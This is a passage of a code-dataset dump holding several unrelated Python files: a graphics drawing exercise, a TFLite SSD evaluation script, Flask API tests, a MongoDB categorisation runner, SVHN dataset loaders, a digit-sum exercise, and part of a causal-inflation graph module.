circle.draw(win)\n\n circle = Circle(Point(130,270),10)\n circle.setFill(\"red\")\n circle.draw(win)\n\n triange = Polygon(Point(300, 210),Point(360,250),Point(300,250))\n triange.setFill(\"silver\")\n triange.draw(win)\n\n rectangle = Rectangle(Point(180,210),Point(230,250))\n rectangle.setFill(\"silver\")\n rectangle.draw(win)\n\n rectangle = Rectangle(Point(290,210),Point(240,250))\n rectangle.setFill(\"silver\")\n rectangle.draw(win)\n\n rectangle = Rectangle(Point(265,260),Point(290,265))\n rectangle.setFill(\"gray\")\n rectangle.draw(win)\n\n for i in range(10):\n point = win.getMouse()\n print(point)\n \n\n\nmain()","sub_path":"problem-set-5-problem-1.py","file_name":"problem-set-5-problem-1.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"115894548","text":"import tensorflow as tf\nfrom hyper_parameters import *\nimport anchor_ssd\nimport tf_utils\nimport post_process\nfrom tqdm import trange\nimport os\nimport numpy as np\n\n\nclass Config:\n model_dir = 'ssd_eval_quant'\n lite_path = os.path.join(model_dir, 'model_quant.tflite')\n res_tfrds = 'val_dense512.tfrecords'\n ori_tfrds = 'coco_test.tfrecords'\n test_samples = 2300\n\n\ndef _float_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\n\n\ndef _int64_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\n\n\ndef _bytes_feature(value):\n if not isinstance(value, list):\n value = [value]\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\n\ndef main():\n writer = tf.python_io.TFRecordWriter(Config.res_tfrds)\n\n # network\n anchors = anchor_ssd.anchors_all_layers(OUT_SHAPES, BOX_RATIOS)\n interpreter = tf.lite.Interpreter(Config.lite_path)\n interpreter.allocate_tensors()\n input_details = interpreter.get_input_details()\n output_details = interpreter.get_output_details()\n\n # data\n data_sess = tf.Session()\n image0, bboxes, labels = tf_utils.decode_tfrecord(Config.ori_tfrds)\n b_image = tf.expand_dims(image0, axis=0)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=data_sess, coord=coord)\n\n for step in trange(Config.test_samples):\n image_v, b_gbboxes_v, b_glabels_v = data_sess.run([b_image, bboxes, labels])\n\n interpreter.set_tensor(input_details[0]['index'], image_v)\n interpreter.invoke()\n result = []\n for i in range(10):\n q_res = interpreter.get_tensor(output_details[i]['index']).astype(np.float)\n std_, mean_ = output_details[i]['quantization']\n result.append((q_res - mean_) * std_)\n\n with tf.Graph().as_default():\n sess = tf.Session()\n logits = [\n tf.cast(tf.reshape(result[0], [1, 32, 32, 4, 1, 1]), tf.float32),\n tf.cast(tf.reshape(result[1], [1, 32, 32, 1, 3, 1]), tf.float32),\n tf.cast(tf.reshape(result[2], [1, 16, 16, 1, 3, 1]), tf.float32),\n tf.cast(tf.reshape(result[3], [1, 8, 8, 1, 3, 1]), tf.float32),\n tf.cast(tf.reshape(result[4], [1, 4, 4, 1, 3, 1]), tf.float32),\n ]\n localisations = [\n tf.cast(tf.reshape(result[5], [1, 32, 32, 4, 1, 4]), tf.float32),\n tf.cast(tf.reshape(result[6], [1, 32, 32, 1, 3, 4]), tf.float32),\n tf.cast(tf.reshape(result[7], [1, 16, 16, 1, 3, 4]), tf.float32),\n tf.cast(tf.reshape(result[8], [1, 8, 8, 1, 3, 4]), tf.float32),\n tf.cast(tf.reshape(result[9], [1, 4, 4, 1, 3, 4]), tf.float32),\n ]\n localisations = post_process.tf_bboxes_decode(localisations, anchors)\n rscores, rbboxes = post_process.detected_bboxes(logits, localisations,\n select_threshold=FLAGS.select_threshold,\n nms_threshold=FLAGS.nms_threshold,\n top_k=FLAGS.select_top_k,\n keep_top_k=FLAGS.keep_top_k)\n rscores_v, rbboxes_v = sess.run([rscores, rbboxes])\n\n i = 0\n anns = []\n scores = []\n\n while i < 200 and rscores_v[0][0][i] > 0:\n rec = rbboxes_v[0][0][i]\n anns.append(rec)\n scores.append(rscores_v[0][0][i])\n # post_process.draw_ann(image_v, rec, 'p{}'.format(i))\n i = i + 1\n xmin = []\n ymin = []\n xmax = []\n ymax = []\n\n for b in anns:\n assert len(b) == 4\n # pylint: disable=expression-not-assigned\n [l.append(point) for l, point in zip([ymin, xmin, ymax, xmax], b)]\n\n example = tf.train.Example(features=tf.train.Features(feature={\n 'image/object/gbbox/gxmin': _float_feature(b_gbboxes_v[:, 0].tolist()),\n 'image/object/gbbox/gymin': _float_feature(b_gbboxes_v[:, 1].tolist()),\n 'image/object/gbbox/gwidth': _float_feature(b_gbboxes_v[:, 2].tolist()),\n 'image/object/gbbox/gheight': _float_feature(b_gbboxes_v[:, 3].tolist()),\n 'image/object/gbbox/glabel': _int64_feature(b_glabels_v.tolist()),\n 'image/object/bbox/ymin': _float_feature(ymin),\n 'image/object/bbox/xmin': _float_feature(xmin),\n 'image/object/bbox/ymax': _float_feature(ymax),\n 'image/object/bbox/xmax': _float_feature(xmax),\n 'image/object/bbox/score': _float_feature(scores),\n }))\n\n writer.write(example.SerializeToString())\n\n # Img = cv2.cvtColor(image_v, cv2.COLOR_RGB2BGR)\n # cv2.imshow(\"patch\", Img)\n # cv2.waitKey(0)\n\n coord.request_stop()\n coord.join(threads)\n writer.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"do_final_test.py","file_name":"do_final_test.py","file_ext":"py","file_size_in_byte":5152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"543605914","text":"import main\nimport json\nimport pytest\n\n@pytest.fixture\ndef app():\n app = main.create_app()\n app.debug = True\n return app\n\ndef test_hello_world(client):\n res = client.get(\"/\")\n assert b\"Hello World\" in res.data\n\ndef test_query_company(client):\n res = client.get(\"/api/company/GEOFORM\")\n res = json.loads(res.data)\n assert {'company_name': 'GEOFORM',\n 'employees': ['Heidi Hudson', 'Olivia Leblanc', 'Kelley Holcomb', 'Holland Sharpe', 'Brandy James'],\n 'index': 20} == res\n\n res = client.get(\"/api/company/this_is_not_a_real_company\")\n res = json.loads(res.data)\n assert {'company_name': 'this_is_not_a_real_company', 'employees': None, 'index': 'not found'} == res\n\n\n res = client.get(\"/api/company/NETBOOK\")\n res = json.loads(res.data)\n assert {'company_name': 'NETBOOK', 'employees': None, 'index': 0} == res\n\ndef test_query_friend(client):\n res = client.get(\"/api/friends/Carmella Lambert/Mindy Beasley\")\n res = json.loads(res.data)\n assert res == ['Decker Mckenzie']\n\ndef test_query_food(client):\n res = client.get(\"/api/food/Carmella Lambert\")\n res = json.loads(res.data)\n assert res == {'age': 61, 'fruits': ['orange', 'apple', 'banana', 'strawberry'], 'username': 'Carmella Lambert',\n 'vegetables': []}\n","sub_path":"test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"467350626","text":"from dbaccessor import mydb\nfrom journal_cate import journal_cate_processor\nfrom logger import Logger\nimport threading\ndef main():\n\tprint(\"the program starts!\")\n\tprint(\"begin to process the category data!\")\n\tjournal_dic_generator = journal_cate_processor(\".\\computerScienceJR.xlsx\")\n\tjournal_dic = journal_dic_generator.process()\n\tprint(\"the journal category dictionary has been successfully built.\")\n\tdb =mydb()#create a mongo db accessor\n\tcollnames = db.collnames#get all the collacation names of database ms-datasets\n\tthreads =[]\n\tfor collname in collnames:\n\t\tthreads.append(threading.Thread(target=db.match_paper,args=(collname,journal_dic,)))\n\tfor t in threads:\n\t\tt.start()\n\tfor t in threads:\n\t\tt.join()\n\tprint(\"Congratulations!!! All the papers of Computer Science find their categories.\")\n\n\t\nif __name__ == '__main__':\n\tmain()","sub_path":"cate/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"399824910","text":"import os\n\nimport numpy as np\nfrom PIL import Image\nimport chainer\nfrom chainer import cuda\nfrom chainer.dataset import dataset_mixin\nimport scipy.misc\nfrom datasets.simple_image_dataset import SimpleImageDataset\n\nORGSIZE = 32\n\n\nclass SVHNDataset(SimpleImageDataset):\n def __init__(self, size=32, train=True, dequantize=False, resize_method='bilinear'):\n data_train, data_test = chainer.datasets.get_svhn(withlabel=True, scale=255)\n data = data_train if train else data_test\n super(SVHNDataset, self).__init__(data, size=size, dequantize=dequantize, resize_method=resize_method)\n\n\nclass SVHNSSDataset():\n def __init__(self, size=32, train=True, dequantize=False, resize_method='bilinear', N_l=4000, seed=1234, include_labeled_in_unlabeled=False):\n data_train, data_test = chainer.datasets.get_svhn(withlabel=True, scale=255)\n data = data_train if train else data_test\n rng = np.random.RandomState(seed=seed)\n randix = rng.permutation(len(data))\n data_l = list()\n data_ul = list()\n for i in range(N_l):\n x, y = data[randix[i]]\n data_l.append([x, y])\n if include_labeled_in_unlabeled:\n for i in range(0, len(data)):\n x, y = data[randix[i]]\n data_ul.append([x, y])\n else:\n for i in range(N_l, len(data)):\n x, y = data[randix[i]]\n data_ul.append([x, y])\n\n for i in range(len(data_ul)):\n data_ul[i][1] = - 1 # remove label information from the unlabeled dataset\n self.dataset_l = SimpleImageDataset(data_l, size=size, resize_method=resize_method, dequantize=dequantize)\n self.dataset_ul = SimpleImageDataset(data_ul, size=size, resize_method=resize_method, dequantize=dequantize)\n","sub_path":"datasets/svhn.py","file_name":"svhn.py","file_ext":"py","file_size_in_byte":1802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"282691735","text":"# Accept a number and print the count of digits in it without using for loop\n\nv = int(input('Enter the first number'))\n#print (v,'has',len(v),'digits')\ns=0\nn=v\nwhile(v>0):\n r=v%10\n s=s+r\n v=v//10\nprint ('sum of the digits of',n,'is',s)","sub_path":"no.of_digits.py","file_name":"no.of_digits.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"113556100","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nLearning a little bit about the inflation graph from the original graph\n\"\"\"\nfrom __future__ import absolute_import\nimport numpy as np\nfrom scipy.sparse import csr_matrix, coo_matrix\n#from itertools import combinations, chain, permutations, zip_longest, product, starmap # TODO: just import itertools\nimport itertools\nimport json\nfrom collections import defaultdict\nfrom sys import hexversion\n\nif hexversion >= 0x3080000:\n from functools import cached_property\nelif hexversion >= 0x3060000:\n from backports.cached_property import cached_property\nelse:\n cached_property = property\nfrom functools import reduce\n\nif __name__ == '__main__':\n import sys\n import pathlib\n\n sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent.parent))\nfrom internal_functions.inequality_internals import *\nfrom internal_functions.groups import dimino_wolfe, minimize_object_under_group_action, orbits_of_object_under_group_action\nfrom internal_functions.utilities import MoveToFront, PositionIndex, MoveToBack, SparseMatrixFromRowsPerColumn\nfrom linear_program_options.moseklp import InfeasibilityCertificate\nfrom linear_program_options.moseklp_dual import InfeasibilityCertificateAUTO\nfrom linear_program_options.cvxopt import InflationLP\nimport operator\n\n\nclass LatentVariableGraph:\n\n @staticmethod\n def ToRootLexicographicOrdering(g):\n \"\"\"\n\n Parameters\n ----------\n g: an iGraph graph\n\n Returns\n -------\n A copy of g with nodes internally ordered such that root nodes are first and non-root nodes are subsequent.\n Within each set (root \\& nonroot) the nodes are ordered lexicographically.\n \"\"\"\n verts = g.vs\n verts[\"isroot\"] = [0 == i for i in g.indegree()]\n root_vertices_igraph = verts.select(isroot=True)\n nonroot_vertices_igraph = verts.select(isroot=False)\n optimal_root_node_indices = np.take(root_vertices_igraph.indices, np.argsort(root_vertices_igraph[\"name\"]))\n optimal_nonroot_node_indices = np.take(nonroot_vertices_igraph.indices,\n np.argsort(nonroot_vertices_igraph[\"name\"]))\n new_ordering = np.hstack((optimal_root_node_indices, optimal_nonroot_node_indices))\n return g.permute_vertices(np.argsort(new_ordering).tolist())\n\n def __init__(self, rawgraph):\n g = self.ToRootLexicographicOrdering(rawgraph)\n verts = g.vs\n verts[\"isroot\"] = [0 == i for i in g.indegree()]\n root_vertices = verts.select(isroot=True).indices\n self.latent_count = len(root_vertices)\n nonroot_vertices = verts.select(isroot=False).indices\n self.observed_count = len(nonroot_vertices)\n\n verts[\"parents\"] = g.get_adjlist('in')\n verts[\"children\"] = g.get_adjlist('out')\n verts[\"ancestors\"] = [g.subcomponent(i, 'in') for i in verts]\n verts[\"descendants\"] = [g.subcomponent(i, 'out') for i in verts]\n self.parents_of = verts[\"parents\"]\n self.children_of = verts[\"children\"]\n self.ancestors_of = verts[\"ancestors\"]\n self.descendants_of = verts[\"descendants\"]\n\n verts[\"grandparents\"] = g.neighborhood(None, order=2, mode='in', mindist=2)\n self._has_grandparents = [idx for idx, v in enumerate(verts[\"grandparents\"]) if len(v) >= 1]\n\n verts[\"roots_of\"] = [np.intersect1d(anc, root_vertices).tolist() for anc in verts[\"ancestors\"]]\n self.roots_of = verts[\"roots_of\"]\n self.g = g # Defined LATE, after attributes have been incoporated into g.\n self.names = verts[\"name\"]\n self.latent_indices = np.arange(self.latent_count).tolist()\n self.observed_indices = np.arange(self.latent_count, self.observed_count + self.latent_count).tolist()\n self.observed_names = self.names[self.latent_count:]\n self.latent_names = self.names[:self.latent_count]\n\n # self.latent_variables = self.vs[self.latent_indices]\n # self.observed_variables = self.vs[self.observed_indices]\n\n def RootIndices_Subsets(self, v):\n \"v is presumed to be an integer specifying some node.\"\n screenable_roots = np.setdiff1d(self.roots_of[v], self.parents_of[v])\n return itertools.chain.from_iterable(itertools.combinations(screenable_roots, r) for r in np.arange(1, screenable_roots.size + 1))\n\n def _identify_determinism_check(self, root_indices, observed_index):\n \"\"\"\n root_indices is a list of root nodes (integers) which can be screened off.\n observed_index is a single node (integer).\n The output will be a tuple of 3 lists\n (U1s,Ys,Xs) with the following meaning: Ys are screened off from U1s by Xs.\n \"\"\"\n list_extract_and_union = lambda list_of_lists, indices: set().union(\n itertools.chain.from_iterable(list_of_lists[v] for v in indices))\n parents_of_observed = set(self.parents_of[observed_index])\n descendants_of_roots = list_extract_and_union(self.descendants_of, root_indices)\n U1s = list(root_indices)\n Y = observed_index\n Xs = list(parents_of_observed.intersection(descendants_of_roots))\n return (U1s, [Y], Xs)\n\n @cached_property\n def determinism_checks(self):\n return [self._identify_determinism_check(roots_subset, v)\n for v in self._has_grandparents\n for roots_subset in self.RootIndices_Subsets(v)\n ]\n\n def _identify_expressible_set(self, root_indices, observed):\n \"\"\"\n root_indices is a list of root nodes (integers) which can be screened off.\n observed_index is a single node (integer).\n The output will be a tuple of 4 lists\n (Ys,Xs,Zs,U3s) with the following meaning:\n Zs are variables appearing in an expressible set with {Xs,Ys} when U3s is different for Xs and Zs)\n \"\"\"\n list_extract_and_union = lambda list_of_lists, indices: set().union(\n itertools.chain.from_iterable(list_of_lists[v] for v in indices))\n children_of_roots = list_extract_and_union(self.children_of, root_indices)\n screeningset = children_of_roots.intersection(self.ancestors_of[observed])\n Xs = screeningset.copy()\n for sidx in screeningset:\n screeningset_rest = screeningset.copy()\n screeningset_rest.remove(sidx)\n # sidx is redundant if there are not ANY unblocked paths.\n if not any(screeningset_rest.isdisjoint(directed_path) for directed_path in\n self.g.get_all_simple_paths(sidx, to=observed)):\n Xs.remove(sidx)\n\n U1s = set(root_indices)\n Y = observed\n roots_of_Xs = [self.roots_of[x] for x in Xs]\n U2s = set().union(*roots_of_Xs).difference(U1s)\n\n U2s_descendants = list_extract_and_union(self.descendants_of, U2s)\n observable_nodes_aside_from_Zs = set(Xs)\n observable_nodes_aside_from_Zs.add(Y)\n Zs = set(self.observed_indices).difference(U2s_descendants).difference(observable_nodes_aside_from_Zs)\n\n roots_of_Y_aside_from_U1s = set(self.roots_of[Y]).difference(U1s)\n\n roots_of_Zs = list_extract_and_union(self.roots_of, Zs)\n U3YZ = roots_of_Y_aside_from_U1s.intersection(roots_of_Zs)\n # Adding a sanity filter:\n if len(U3YZ) == 0:\n Zs = set()\n\n return tuple(map(list, ([Y], Xs, Zs, U3YZ)))\n\n @cached_property\n def extra_expressible_sets(self):\n return list(filter(lambda screening: len(screening[-1]) > 0,\n [self._identify_expressible_set(roots_subset, v)\n for v in self._has_grandparents\n for roots_subset in self.RootIndices_Subsets(v)\n ]))\n\n def __str__(self):\n \"\"\"Convert to string, for str().\"\"\"\n return str(\n [':'.join(np.take(self.names, vals)) + '->' + np.take(self.names, idx + self.latent_count) for idx, vals in\n enumerate(self.parents_of[-self.observed_count:])])\n\n def print_assessment(self, wait_for_more=False):\n list_of_strings_to_string = lambda l: '[' + ','.join(l) + ']'\n tuples_of_strings_to_string = lambda l: '(' + ','.join(l) + ')'\n print(\"For the graph who's parental structure is given by:\")\n print(str(self))\n print(\"We utilize the following ordering of latent variables: \" + list_of_strings_to_string(\n self.names[:self.latent_count]))\n print(\"We utilize the following ordering of observed variables: \" + list_of_strings_to_string(\n self.names[-self.observed_count:]))\n print(\"We identify the following screening-off relationships relevant to enforcing determinism:\")\n print(\"Sets given as (U1s,Ys,Xs) with the following meaning:\\tYs are screened off from U1s by Xs.\")\n for screening in self.determinism_checks:\n print(tuples_of_strings_to_string(\n tuple(list_of_strings_to_string(np.take(self.names, indices).tolist()) for indices in screening)))\n print(\"We identify the following screening-off non-ai expressible sets:\")\n print(\n \"Sets given as (Y,Xs,Zs,U3s) with the following meaning:\\nYs are screened off from Zs by Xs when U3s is different for (Y,Xs) vs Zs.\")\n for screening in self.extra_expressible_sets:\n print(tuples_of_strings_to_string(\n tuple(list_of_strings_to_string(np.take(self.names, indices).tolist()) for indices in screening)))\n if not wait_for_more:\n print('\\u2500' * 80 + '\\n')\n\n\n\n\nclass InflatedGraph(LatentVariableGraph):\n\n def __init__(self, rawgraph, inflation_order):\n LatentVariableGraph.__init__(self, rawgraph)\n\n if isinstance(inflation_order, int):\n self.inflations_orders = np.full(self.latent_count, inflation_order)\n else: # When inflation_order is specified as a list\n if not isinstance(inflation_order, (list, tuple, np.ndarray)):\n raise TypeError(\"Inflation orders not given as list of integers.\")\n self.inflations_orders = np.array(inflation_order)\n self.min_inflation_order = self.inflations_orders.min() # Should be deprecated after upgrade to diagonal expressible set\n self.max_inflation_order = self.inflations_orders.max()\n\n self.determinism_checks = list(\n filter(lambda screening: all(U >= 2 for U in self.inflations_orders[screening[0]]),\n self.determinism_checks))\n self.extra_expressible_sets = list(\n filter(lambda screening: all(U >= 2 for U in self.inflations_orders[screening[-1]]),\n self.extra_expressible_sets))\n\n self.root_structure = self.roots_of[self.latent_count:]\n\n self._latent_ancestors_cardinalities_of = [self.inflations_orders.take(latent_parents) for latent_parents in\n self.root_structure]\n self.inflation_copies = np.fromiter(map(np.prod, self._latent_ancestors_cardinalities_of), np.int)\n self.inflation_minima = np.fromiter(map(np.amin, self._latent_ancestors_cardinalities_of), np.int)\n self.inflation_depths = np.fromiter(map(len, self._latent_ancestors_cardinalities_of), np.int)\n\n self.original_observed_indices = np.asanyarray(self.observed_indices) - self.latent_count\n self.original_observed_names = self.observed_names\n self.from_inflation_indices = np.repeat(self.original_observed_indices, self.inflation_copies)\n self.inflated_observed_names = np.repeat(self.original_observed_names, self.inflation_copies)\n\n accumulated = np.add.accumulate(self.inflation_copies)\n self.inflated_observed_count = accumulated[-1]\n \n self.offsets = np.hstack(([0], accumulated[:-1]))\n self._canonical_pos = [\n np.outer(inflation_minimum ** np.arange(inflation_depth), np.arange(inflation_minimum)).sum(axis=0) + offset\n for inflation_minimum, inflation_depth, offset\n in zip(self.inflation_minima, self.inflation_depths, self.offsets)]\n self.canonical_world = np.fromiter((pos[0] for pos in self._canonical_pos), np.int)\n\n #I'm about to overhaul the diagonal expressible set code. We will just use the canonical positions. The art, hereafter, will be obtaining symmetry group elements.\n\n @property\n def partitioned_expressible_set(self):\n return [np.compress(np.add(part, 1).astype(np.bool), part)\n for part in itertools.zip_longest(*self._canonical_pos, fillvalue=-1)]\n\n #Suppose the canonical positions are [(0,3),(6,10,14),(15,18)]\n #Then, the *paritioned* expressible set will be [(0,6,15),(3,10,18),(14)]\n #The FLAT SORTED eset will be [0,3,6,10,14,15,18]\n #The FLAT SORTED symmetry group will be generated by [(0,3)(1,4)(2,5)] i.e. [3,4,5,0,1,2,6]\n\n @cached_property\n def diagonal_expressible_set(self):\n temp = np.hstack(self.partitioned_expressible_set)\n temp.sort()\n return temp\n\n\n @cached_property\n def diagonal_expressible_set_symmetry_group(self):\n when_sorted = np.argsort(np.hstack(self.partitioned_expressible_set))\n it = iter(when_sorted)\n _canonical_pos2 = [list(itertools.islice(it, size)) for size in self.inflation_minima]\n\n unfiltered_variants = np.array([np.hstack(np.vstack(perm).T) for perm in\n itertools.permutations(itertools.zip_longest(*_canonical_pos2, fillvalue=-1))])\n expressible_set_variants_filter = np.add(unfiltered_variants, 1).astype(np.bool)\n unfiltered_variants = unfiltered_variants.compress(\n (expressible_set_variants_filter == np.atleast_2d(expressible_set_variants_filter[0])).all(axis=1),\n axis=0)\n filtered_variants = np.array([eset.compress(np.add(eset, 1).astype(np.bool)) for eset in unfiltered_variants])\n return np.take_along_axis(np.argsort(filtered_variants,axis=1), np.atleast_2d(when_sorted), axis=1)\n\n # @cached_property\n # def expressible_set_variants(self):\n # unfiltered_variants = np.array([np.hstack(np.vstack(perm).T) for perm in\n # itertools.permutations(zip(*itertools.zip_longest(*self._canonical_pos, fillvalue=-1)))])\n # expressible_set_variants_filter = np.add(unfiltered_variants, 1).astype(np.bool)\n # unfiltered_variants = unfiltered_variants.compress(\n # (expressible_set_variants_filter == np.atleast_2d(expressible_set_variants_filter[0])).all(axis=1),\n # axis=0)\n # return np.array([eset.compress(np.add(eset, 1).astype(np.bool)) for eset in unfiltered_variants])\n #\n # @cached_property\n # def diagonal_expressible_set(self):\n # return self.expressible_set_variants[0]\n #\n # @property\n # def partitioned_expressible_set(self):\n # return [np.compress(np.add(part, 1).astype(np.bool), part)\n # for part in itertools.zip_longest(*self._canonical_pos, fillvalue=-1)]\n #\n # @property\n # def diagonal_expressible_set_symmetry_group(self):\n # core_orders = np.asarray(list(map(PositionIndex,self.expressible_set_variants)))\n # return np.take_along_axis(core_orders, np.atleast_2d(np.argsort(core_orders[0])),\n # axis=1)\n # I know I can do this more efficiently, but I don't care at the moment.\n # return map(lambda v : np.argsort(v).take(core_order), self.expressible_set_variants[1:])\n\n @cached_property\n def inflation_group_generators(self):\n # Upgrade to mixed inflation order\n globalstrategyflat = list(\n np.add(*stuff) for stuff in zip(list(map(np.arange, self.inflation_copies.tolist())), self.offsets))\n reshapings = np.ones((self.observed_count, self.latent_count), np.uint8)\n contractings = np.zeros((self.observed_count, self.latent_count), np.object)\n for idx, latent_ancestors in enumerate(self.root_structure):\n reshapings[idx][latent_ancestors] = self.inflations_orders[latent_ancestors]\n contractings[idx][latent_ancestors] = np.s_[:]\n reshapings = map(tuple, reshapings)\n contractings = map(tuple, contractings)\n globalstrategyshaped = list(np.reshape(*stuff) for stuff in zip(globalstrategyflat, reshapings))\n gloablstrategybroadcast = np.stack(np.broadcast_arrays(*globalstrategyshaped), axis=0)\n indices_to_extract = np.hstack(tuple(shaped_elem[contraction].ravel() for shaped_elem, contraction in zip(\n np.arange(gloablstrategybroadcast.size).reshape(gloablstrategybroadcast.shape), contractings)))\n group_generators = []\n for latent_to_explore, inflation_order_for_U in enumerate(self.inflations_orders):\n generator_count_for_U = np.minimum(inflation_order_for_U, 3) - 1\n group_generators_for_U = np.empty((generator_count_for_U, self.inflated_observed_count), np.int)\n # Maybe assert that inflation order must be a strictly positive integer?\n for gen_idx in np.arange(generator_count_for_U):\n initialtranspose = MoveToFront(self.latent_count + 1, np.array([latent_to_explore + 1]))\n inversetranspose = np.argsort(initialtranspose)\n label_permutation = np.arange(inflation_order_for_U)\n if gen_idx == 0:\n label_permutation[:2] = [1, 0]\n elif gen_idx == 1:\n label_permutation = np.roll(label_permutation, 1)\n group_generators_for_U[gen_idx] = gloablstrategybroadcast.transpose(\n tuple(initialtranspose))[label_permutation].transpose(\n tuple(inversetranspose)).flat[indices_to_extract]\n group_generators.append(group_generators_for_U)\n\n return group_generators\n\n @cached_property\n def inflation_group_elements(self):\n return np.array(dimino_wolfe(\n np.vstack(self.inflation_group_generators)))\n\n \n def _InflateOneDeterminismAssumption(self):\n for screening in self.determinism_checks:\n U1s = screening[0]\n XsY = np.array(list(screening[2]) + list(screening[1])) - self.latent_count\n flatset_original_world = np.take(self.canonical_world, XsY)\n symops = [self.inflation_group_generators[U1][0] for U1 in U1s] # Now 2d array\n flatset_new_world = np.take(reduce(np.take, symops), flatset_original_world)\n rule = np.vstack((flatset_original_world, flatset_new_world)).T.astype('uint32')\n rule = rule[:-1, :].T.tolist() + rule[-1, :].T.tolist()\n yield rule\n\n @cached_property\n def inflated_determinism_checks(self):\n \"\"\"\n Recall that a determinism check is passed in the form of (U1s,Ys,Xs,Zs,U3s) with the following meaning:\n Ys are screened off from U1s by Xs. (Ys is always a list with only one element.)\n Zs are variables appearing in an expressible set with {Xs,Ys} when U3s is different for Xs and Zs)\n \"\"\"\n return list(self._InflateOneDeterminismAssumption())\n\n def _InflateOneExpressibleSet(self):\n for screening in self.extra_expressible_sets:\n U3s = screening[-1]\n (Ys, Xs, Zs) = tuple(\n map(lambda orig_node_indices: np.take(self.canonical_world,\n np.array(orig_node_indices) - self.latent_count),\n screening[:-1]))\n symops = np.array([self.inflation_group_generators[U3][0] for U3 in U3s])\n Zs_new_world = np.take(reduce(np.take, symops), Zs)\n variable_ordering = np.argsort(np.hstack(screening[:-1]))\n nonai_exp_set = np.hstack((Ys, Xs, Zs_new_world)).take(variable_ordering)\n yield nonai_exp_set\n\n # TODO: Explore larger sets being screened off. What about Ys PLURAL being screened off from U1s? Isn't that worth looking into?\n @cached_property\n def inflated_offdiagonal_expressible_sets(self):\n \"\"\"\n New function to identify extra expressible sets.\n Recall that a screening relation is passed in the form of (U1s,Ys,Xs,Zs,U3s) with the following meaning:\n Ys are screened off from U1s by Xs. (Ys is always a list with only one element.)\n Zs are variables appearing in an expressible set with {Xs,Ys} when U3s is different for Xs and Zs)\n \"\"\"\n return list(self._InflateOneExpressibleSet())\n\n \n class ExpressibleSet:\n # WORK IN PROGRESS\n def __init__self(self, partitioned_eset_inflated_indices, composition_rule, symmetry_group=[]):\n self.partitioned_eset_inflated_indices = partitioned_eset_inflated_indices\n self.composition_rule = composition_rule\n self.symmetry_group = symmetry_group #NOTE: The symmetry group must act on the FLAT version of the eSET. I'm not sure we have this at the moment.\n\n #self.from_inflation_indices = InflatedGraph.from_inflation_indices\n self.partition_eset_original_indices = list(map(InflatedGraph.from_inflation_indices.take, self.partitioned_eset_inflated_indices))\n\n self.flat_eset, self._low_indices_flat_uncompressed = np.unique(\n np.hstack(self.partitioned_eset_inflated_indices), return_inverse=True)\n\n \n #self.inflated_names = InflatedGraph.inflated_observed_names #Porting attributes into nested class\n \n\n self._posts = [str(rule).replace('1', '').replace('-1', '^(-1)') for rule in self.composition_rule]\n\n self.symbolic_wrappers = ['P[' + ''.join(InflatedGraph.observed_names[sub_eset].tolist()) + ']{}' + post for\n sub_eset, post in zip(self.partition_eset_original_indices, self._posts)]\n\n self.all_original_indices = InflatedGraph.observed_indices\n\n\n\n #Generating the vector of symbolic probabilities\n @property\n def low_indices(self):\n it = iter(self._low_indices_flat_uncompressed)\n return [list(itertools.islice(it, size)) for size in map(len, self.partitioned_eset_inflated_indices)]\n\n def _symbolic_element_from_intlist(self, int_list):\n return ''.join(\n wrapper.format(np.take(int_list,low_sub_eset)) for wrapper, low_sub_eset in zip(self.symbolic_wrappers, self.low_indices))\n def Generate_symbolic_b_block(self, data_shape):\n return list(map(self._symbolic_element_from_intlist, np.ndindex(tuple(np.take(data_shape, self.flat_eset)))))\n\n\n\n # Generating the vector of numerical probabilities\n @staticmethod\n def _mult_or_div(rule, tensor):\n if rule==-1:\n np.seterr(divide='ignore')\n newtensor = np.true_divide(1,tensor)\n newtensor[np.isnan(newtensor)] = 0 # Conditioning on zero probability events\n np.seterr(divide='warn')\n return newtensor\n else:\n return tensor\n def Generate_numeric_b_block(self, data_reshaped):\n marginals = (np.einsum(data_reshaped, self.all_original_indices, sub_eset) for sub_eset in self.partition_eset_original_indices)\n marginals = map(self._mult_or_div, self.composition_rule, marginals)\n\n einsumargs = list(itertools.chain.from_iterable(zip(marginals,self.partitioned_eset_inflated_indices)))\n einsumargs.append(self.flat_eset)\n return np.einsum(*einsumargs)\n\n\n\n # Getting ready to generate the inflation matrix\n def Columns_to_unique_rows(self, shaped_column_integers):\n data_shape = shaped_column_integers.shape\n # Can be used for off-diagonal expressible sets with no adjustment!\n expr_set_size = np.take(data_shape, self.flat_eset).prod()\n\n reshaped_column_integers = shaped_column_integers.transpose(\n MoveToBack(len(data_shape), self.flat_eset)).reshape(\n (-1, expr_set_size))\n encoding_of_columns_to_monomials = np.empty(shaped_column_integers.size, np.int)\n encoding_of_columns_to_monomials[reshaped_column_integers] = np.arange(expr_set_size)\n return encoding_of_columns_to_monomials\n\n #I really want a function which allows me to delete certain rows based on symmetry...\n def Which_rows_to_keep(self, data_shape):\n shape_of_eset = np.take(data_shape, self.flat_eset)\n size_of_eset = shape_of_eset.prod()\n rows_as_integers = np.arange(size_of_eset).reshape(shape_of_eset)\n minimize_object_under_group_action(rows_as_integers,\n self.diagonal_expressible_set_symmetry_group)\n return np.unique(rows_as_integers.ravel(), return_index=True)[1]\n\n\n\n\n\n\n # np.seterr(divide='ignore')\n #\n # 